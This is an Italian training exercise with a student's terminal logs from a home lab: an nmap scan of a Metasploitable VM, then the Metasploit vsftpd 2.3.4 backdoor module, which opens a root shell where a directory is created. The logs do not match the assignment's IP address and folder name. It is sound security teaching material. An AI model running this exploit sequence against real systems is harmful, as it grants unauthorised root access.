W15D4 - Pratica

EPICODE

W15D4 - Pratica PDF

Esercizio
Traccia

Nella lezione pratica di oggi vedremo come effettuare una sessione di hacking con Metasploit sulla macchina Metasploitable.

Traccia:

Partendo dall'esercizio guidato visto nella lezione teorica, vi chiediamo di completare una sessione di hacking sulla macchina Metasploitable, sul servizio «**vsftpd**» (lo stesso visto in lezione teorica).

L'unica differenza, sarà l'indirizzo della vostra macchina Metasploitable. Configuratelo come di seguito: **192.168.1.149/24.**

Una volta ottenuta la sessione sulla Metasploitable, create una cartella con il comando mkdir nella directory di root (/). Chiamate la cartella test_metasploit.

```
┌──(kali㉿kali)-[~]
└─$ ifconfig
eth0: flags=4163<UP,BROADCAST,RUNNING,MULTICAST>  mtu 1500
        inet 192.168.156.205  netmask 255.255.255.0  broadcast 192.168.156.25
5
        inet6 fe80::3ad7:5bf8:6b8a:3759  prefixlen 64  scopeid 0×20<link>
        ether 08:00:27:1e:36:4a  txqueuelen 1000  (Ethernet)
        RX packets 161  bytes 15739 (15.3 KiB)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 26  bytes 3282 (3.2 KiB)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0

lo: flags=73<UP,LOOPBACK,RUNNING>  mtu 65536
        inet 127.0.0.1  netmask 255.0.0.0
        inet6 ::1  prefixlen 128  scopeid 0×10<host>
        loop  txqueuelen 1000  (Local Loopback)
        RX packets 4  bytes 240 (240.0 B)
        RX errors 0  dropped 0  overruns 0  frame 0
        TX packets 4  bytes 240 (240.0 B)
        TX errors 0  dropped 0 overruns 0  carrier 0  collisions 0


┌──(kali㉿kali)-[~]
└─$ ping 8.8.8.8
PING 8.8.8.8 (8.8.8.8) 56(84) bytes of data.
64 bytes from 8.8.8.8: icmp_seq=1 ttl=113 time=48.2 ms
64 bytes from 8.8.8.8: icmp_seq=2 ttl=113 time=41.2 ms
64 bytes from 8.8.8.8: icmp_seq=3 ttl=113 time=31.6 ms
64 bytes from 8.8.8.8: icmp_seq=4 ttl=113 time=47.6 ms
^C
── 8.8.8.8 ping statistics ──
4 packets transmitted, 4 received, 0% packet loss, time 3002ms
rtt min/avg/max/mdev = 31.598/42.131/48.161/6.664 ms

┌──(kali㉿kali)-[~]
└─$ ping 192.168.156.122
PING 192.168.156.122 (192.168.156.122) 56(84) bytes of data.
64 bytes from 192.168.156.122: icmp_seq=1 ttl=64 time=1.09 ms
64 bytes from 192.168.156.122: icmp_seq=2 ttl=64 time=0.690 ms
64 bytes from 192.168.156.122: icmp_seq=3 ttl=64 time=1.26 ms
64 bytes from 192.168.156.122: icmp_seq=4 ttl=64 time=0.997 ms
64 bytes from 192.168.156.122: icmp_seq=5 ttl=64 time=0.546 ms
^C
── 192.168.156.122 ping statistics ──
5 packets transmitted, 5 received, 0% packet loss, time 4009ms
rtt min/avg/max/mdev = 0.546/0.915/1.256/0.260 ms
```

```
┌──(kali㉿kali)-[~]
└─$ msfconsole
Metasploit tip: You can use help to view all available commands

IIIIII    dTb.dTb        _.---._
  II     4'  v  'B    .'"".'/|\`.""'.
  II     6.     .P  :  .' / | \ `.  :
  II     'T;. .;P'  '.'  /  |  \  `.'
  II      'T; ;P'    `. /   |   \ .'
IIIIII     'YvP'       `-.__|__.-'

I love shells --egypt


       =[ metasploit v6.3.55-dev                          ]
+ -- --=[ 2397 exploits - 1235 auxiliary - 422 post       ]
+ -- --=[ 1388 payloads - 46 encoders - 11 nops           ]
+ -- --=[ 9 evasion                                       ]

Metasploit Documentation: https://docs.metasploit.com/

msf6 > nmap -sV 192.168.156.122
[*] exec: nmap -sV 192.168.156.122

Starting Nmap 7.94SVN ( https://nmap.org ) at 2024-03-21 16:00 EDT
Nmap scan report for 192.168.156.122
Host is up (0.00089s latency).
Not shown: 977 closed tcp ports (conn-refused)
PORT     STATE SERVICE     VERSION
21/tcp   open  ftp         vsftpd 2.3.4
22/tcp   open  ssh         OpenSSH 4.7p1 Debian 8ubuntu1 (protocol 2.0)
23/tcp   open  telnet      Linux telnetd
25/tcp   open  smtp        Postfix smtpd
53/tcp   open  domain      ISC BIND 9.4.2
80/tcp   open  http        Apache httpd 2.2.8 ((Ubuntu) DAV/2)
111/tcp  open  rpcbind     2 (RPC #100000)
139/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp  open  netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
512/tcp  open  exec        netkit-rsh rexecd
513/tcp  open  login       OpenBSD or Solaris rlogind
514/tcp  open  tcpwrapped
1099/tcp open  java-rmi    GNU Classpath grmiregistry
1524/tcp open  bindshell   Metasploitable root shell
2049/tcp open  nfs         2-4 (RPC #100003)
2121/tcp open  ftp         ProFTPD 1.3.1
3306/tcp open  mysql       MySQL 5.0.51a-3ubuntu5
5432/tcp open  postgresql  PostgreSQL DB 8.3.0 - 8.3.7
5900/tcp open  vnc         VNC (protocol 3.3)
6000/tcp open  X11         (access denied)
6667/tcp open  irc         UnrealIRCd
8009/tcp open  ajp13       Apache Jserv (Protocol v1.3)
```

```
msf6 > search vsftpd

Matching Modules
================

   #  Name                                  Disclosure Date  Rank       Check
  Description
   -  ----                                  ---------------  ----       -----
  ----------
   0  auxiliary/dos/ftp/vsftpd_232         2011-02-03       normal     Yes
  VSFTPD 2.3.2 Denial of Service
   1  exploit/unix/ftp/vsftpd_234_backdoor  2011-07-03       excellent  No
  VSFTPD v2.3.4 Backdoor Command Execution


Interact with a module by name or index. For example info 1, use 1 or use exp
loit/unix/ftp/vsftpd_234_backdoor

msf6 > use exploit/unix/ftp/vsftpd_234_backdoor
[*] No payload configured, defaulting to cmd/unix/interact
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:po
                                       rt[,type:host:port][ ... ]
   RHOSTS                    yes       The target host(s), see https://docs
                                       .metasploit.com/docs/using-metasploi
                                       t/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > set RHOSTS 192.168.156.122
RHOSTS ⇒ 192.168.156.122
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name     Current Setting  Required  Description
   ----     ---------------  --------  -----------
   CHOST                     no        The local client address
   CPORT                     no        The local client port
   Proxies                   no        A proxy chain of format type:host:po
                                       rt[,type:host:port][ ... ]
   RHOSTS   192.168.156.122  yes       The target host(s), see https://docs
                                       .metasploit.com/docs/using-metasploi
                                       t/basics/using-metasploit.html
   RPORT    21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
===================

   #  Name                       Disclosure Date  Rank    Check  Description
   -  ----                       ---------------  ----    -----  -----------
   0  payload/cmd/unix/interact                   normal  No     Unix Command
, Interact with Established Connection
```

```
msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show payloads

Compatible Payloads
===================

   #  Name                              Disclosure Date  Rank    Check  Description
   -  ----                              ---------------  ----    -----  -----------
   0  payload/cmd/unix/interact                          normal  No     Unix Command
, Interact with Established Connection

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > show options

Module options (exploit/unix/ftp/vsftpd_234_backdoor):

   Name    Current Setting  Required  Description
   ----    ---------------  --------  -----------
   CHOST                    no        The local client address
   CPORT                    no        The local client port
   Proxies                  no        A proxy chain of format type:host:po
                                      rt[,type:host:port][ ... ]
   RHOSTS  192.168.156.122  yes       The target host(s), see https://docs
                                      .metasploit.com/docs/using-metasploi
                                      t/basics/using-metasploit.html
   RPORT   21               yes       The target port (TCP)


Payload options (cmd/unix/interact):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------


Exploit target:

   Id  Name
   --  ----
   0   Automatic



View the full module info with the info, or info -d command.

msf6 exploit(unix/ftp/vsftpd_234_backdoor) > exploit

[*] 192.168.156.122:21 - Banner: 220 (vsFTPd 2.3.4)
[*] 192.168.156.122:21 - USER: 331 Please specify the password.
[+] 192.168.156.122:21 - Backdoor service has been spawned, handling...
[+] 192.168.156.122:21 - UID: uid=0(root) gid=0(root)
[*] Found shell.
[*] Command shell session 1 opened (192.168.156.205:40735 → 192.168.156.122:
6200) at 2024-03-21 16:09:11 -0400
```

```
ifconfig
eth0      Link encap:Ethernet  HWaddr 08:00:27:1f:ac:80
          inet addr:192.168.156.122  Bcast:192.168.156.255  Mask:255.255.255.
0
          inet6 addr: fe80::a00:27ff:fe1f:ac80/64 Scope:Link
          UP BROADCAST RUNNING MULTICAST  MTU:1500  Metric:1
          RX packets:1605 errors:0 dropped:0 overruns:0 frame:0
          TX packets:1460 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:1000
          RX bytes:127111 (124.1 KB)  TX bytes:157334 (153.6 KB)
          Base address:0×d020 Memory:f0200000-f0220000

lo        Link encap:Local Loopback
          inet addr:127.0.0.1  Mask:255.0.0.0
          inet6 addr: ::1/128 Scope:Host
          UP LOOPBACK RUNNING  MTU:16436  Metric:1
          RX packets:251 errors:0 dropped:0 overruns:0 frame:0
          TX packets:251 errors:0 dropped:0 overruns:0 carrier:0
          collisions:0 txqueuelen:0
          RX bytes:97709 (95.4 KB)  TX bytes:97709 (95.4 KB)

mkdir /test_primo
```

ms2 [In esecuzione] - Oracle VM VirtualBox

File Macchina Visualizza Inserimento Dispositivi Aiuto

```
          collisions:0 txqueuelen:0
          RX bytes:60641 (59.2 KB)  TX bytes:60641 (59.2 KB)

msfadmin@metasploitable:~$ ping 192.168.156.205
PING 192.168.156.205 (192.168.156.205) 56(84) bytes of data.
64 bytes from 192.168.156.205: icmp_seq=1 ttl=64 time=0.662 ms
64 bytes from 192.168.156.205: icmp_seq=2 ttl=64 time=0.936 ms
64 bytes from 192.168.156.205: icmp_seq=3 ttl=64 time=0.653 ms
64 bytes from 192.168.156.205: icmp_seq=4 ttl=64 time=0.883 ms

--- 192.168.156.205 ping statistics ---
4 packets transmitted, 4 received, 0% packet loss, time 2997ms
rtt min/avg/max/mdev = 0.653/0.783/0.936/0.130 ms
msfadmin@metasploitable:~$
msfadmin@metasploitable:~$ ls
vulnerable
msfadmin@metasploitable:~$ cd ..
msfadmin@metasploitable:/home$ ls
ftp  msfadmin  service  user
msfadmin@metasploitable:/home$ cd ..
msfadmin@metasploitable:/$ ls
bin   dev   initrd      lost+found  nohup.out  root  sys         usr
boot  etc   initrd.img  media       opt        sbin  test_primo  var
cdrom home  lib         mnt         proc       srv   tmp         vmlinuz
msfadmin@metasploitable:/$
```

CTRL (DESTRA)